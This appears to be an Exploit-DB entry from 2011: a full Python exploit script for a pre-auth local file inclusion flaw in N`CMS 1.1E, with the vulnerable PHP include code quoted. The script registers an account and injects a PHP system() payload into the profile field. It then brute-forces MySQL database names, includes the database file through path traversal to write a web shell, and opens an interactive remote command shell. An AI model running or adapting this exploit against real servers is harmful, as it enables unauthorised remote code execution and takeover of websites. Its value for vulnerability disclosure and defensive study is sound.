N`CMS 1.1E - Local File Inclusion / Remote Code

EDB-ID:

16961

CVE:

N/A


Author:

TecR0c

Type:

webapps


Platform:

PHP

Date:

2011-03-11


#!/usr/bin/python
# ~INFORMATION
# Exploit Title:	N`CMS 1.1E Pre-Auth Local File Inclusion Remote Code Exploit
# Date: 		11/3/2011
# Software link:	http://bit.ly/eJAyw5
# Tested on:		Linux bt
# Version:		1.1E
# PHP.ini Settings:	gpc_magic_quotes = Off

# Note: The web application was lucky to not be exploited by session 
# injection with a malicious username example <?php system($_GET[cmd]); 
# as htmlentities() encoded the bracket :-)

# ~VULNERABLE CODE
'''
<?php
if( isset( $_GET['page'] ) )
{
	if( file_exists( 'page/'.$_GET['page'].'.php' ) )
	{
		include( 'page/'.$_GET['page'].'.php' );
	}
	else
	{
		include( 'page/404.php' );
	}
}
else
{
	include( 'page/home.php' );
}
?>
'''
import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass
from optparse import OptionParser
from urlparse import urlparse,urljoin
from urllib import urlopen
from cookielib import CookieJar

__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"
__DATE__ ="11.3.2011"

usage = 'Example : %s http://localhost/ncms/ -c user:pass -w databases.txt -p 127.0.0.1:8080' % __file__
parser = OptionParser(usage=usage)
parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",
        help="HTTP Proxy <server>:<port>")
parser.add_option("-w","--wordlist", type="string",action="store", dest="wordlist",
        help="file to use to bruteforce database")
parser.add_option("-c","--credentials", type="string",action="store", dest="credentials",default="hacker:ph33r",
        help="credentials for login, "
	"or [default: %default]")

(options, args) = parser.parse_args()

if options.proxy:
	print '[+] Using Proxy'+options.proxy

# User Agents
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
        "Google Chrome 0.2.149.29 (Windows XP)",
        "Opera 9.25 (Windows Vista)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]
agent = random.choice(agents)

traversal = './../../../../../../../..'

def banner():
    if os.name == "posix":
        os.system("clear")
    else:
        os.system("cls")
    header = '''
|----------------------------------------|
|Exploit: N'CMS LFI RCE
|Author: %s
|Date: %s
|----------------------------------------|\n
'''%(__CONTACT__,__DATE__)
    for i in header:
        print "\b%s"%i,
        sys.stdout.flush()
        time.sleep(0.005)

def proxyCheck():
        if options.proxy:
                try:
                        h2 = httplib.HTTPConnection(options.proxy)
                        h2.connect()
                        print "[+] Using Proxy Server:",options.proxy
                except(socket.timeout):
                        print "[-] Proxy Timed Out\n"
                        pass
                        sys.exit(1)
                except(NameError):
                        print "[-] Proxy Not Given\n"
                        pass
                        sys.exit(1)
                except:
                        print "[-] Proxy Failed\n"
                        pass
                        sys.exit(1)

def getProxy():
        try:
                proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
        except(socket.timeout):
                print "\n[-] Proxy Timed Out"
                sys.exit(1)
        return proxy_handler

cj = CookieJar()
if options.proxy:
	opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
else:
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [('User-agent', agent)]

def registerUser():
        webSiteUrl = url.geturl()+"?page=register"
	parameters = {'login' : username,'password': password,'password2' : password,'email' : 'test@test.com',
	'register' : '+Enregistrer+'}
	encodedParameters = urllib.urlencode(parameters)
	try:
		opener.open(webSiteUrl, encodedParameters).read()
	except:
		print '[-] Failed'
		sys.exit()
	print '[+] Created User, '+username	

def edit_profile():
        webSiteUrl = url.geturl()+"?page=edit_profil"
	parameters = { 'User-Agent' : agent,
	'profil' : '<?php system(base64_decode($_REQUEST["cmd"]));?>','edit_profil' : '+Enregistrer+'}
	encodedParameters = urllib.urlencode(parameters)
	try:
		response = opener.open(webSiteUrl, encodedParameters).read()
	except:
		print '[-] Failed'
		sys.exit()
	print '[+] Added Payload To Page'

def login():
        """ Add php payload to database """
        webSiteUrl = url.geturl()+"?page=register"
	parameters = {'login' : username,'password' : password,'actplayer' : 'login'}
	encodedParameters = urllib.urlencode(parameters)
	try:
		opener.open(webSiteUrl, encodedParameters).read()
	except:	
		print '[-] Failed'
		sys.exit()
	print '[+] Authenticated To Website'

def traversalCmd(encodedCommand,database):
	webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
	parameters = {'cmd' : encodedCommand}
	encodedParameters = urllib.urlencode(parameters)
	try:
		opener.open(webSiteUrl, encodedParameters).read()
	except:
		print '[-] Failed'
		sys.exit()

def postRequestWebShell(encodedCommand):
        webSiteUrl = url.geturl()+'.shell.php'
	commandToExecute = [
	('cmd',encodedCommand)]
	cmdData = urllib.urlencode(commandToExecute)
	try:
		response = opener.open(webSiteUrl, cmdData).read()
	except:
		print '[-] Failed'
		sys.exit()
	return response

def fileCheck():
        webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/mysql_upgrade_info%00"
	try:
		response = opener.open(webSiteUrl).read()
	except:
		print '[-] Failed'
		sys.exit()
	doesntExist = re.compile(r"Erreur 404")
	findAnswer = doesntExist.search(response)
	if findAnswer:
		"[-] Can Not Use This Techinque"
		sys.exit()

def bruteForceDatabase():
	try:
        	databases = open(options.wordlist, "r").readlines()
        	print "[+] Length Of Wordlist: "+str(len(databases))
	except(IOError):
        	print "[-] Error: Check Your Wordlist Path\n"
        	sys.exit(1)
	for database in databases:
        	database = database.replace("\r","").replace("\n","")
        	webSiteUrl = url.geturl()+"?page="+traversal+"/var/lib/mysql/"+database+"/accounts.MYD%00"
		print '[X] Testing Database Name: '+database
		try:
			response = opener.open(webSiteUrl).read()
		except urllib2.HTTPError, error:
                        	print '[-] Failed'
		payload = re.compile(r"Erreur 404")
		findPayload = payload.search(response)
		if not findPayload:
			print '[+] Found Database: '+database+'\n'
			commandLine(database)

def commandLine(database):
	encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"
	encodedCommand = base64.b64encode(encodedCommand)
	traversalCmd(encodedCommand,database)
	commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
	while True:
		try:
			command = raw_input(commandLine)
			encodedCommand = base64.b64encode(command)
			response = postRequestWebShell(encodedCommand)
			print response
		except KeyboardInterrupt:
			encodedCommand = base64.b64encode('rm .shell.php')
			postRequestWebShell(encodedCommand)
			print "\n[!] Removed .shell.php\n"
			sys.exit()

if "__main__" == __name__:
        banner()
	try:
	        url=urlparse(args[0])
	except:
        	parser.print_help()
        	sys.exit()
	getProxy()
	username, password = options.credentials.split(':')
	proxyCheck()
	registerUser()
	login()
	edit_profile()
	fileCheck()
	bruteForceDatabase()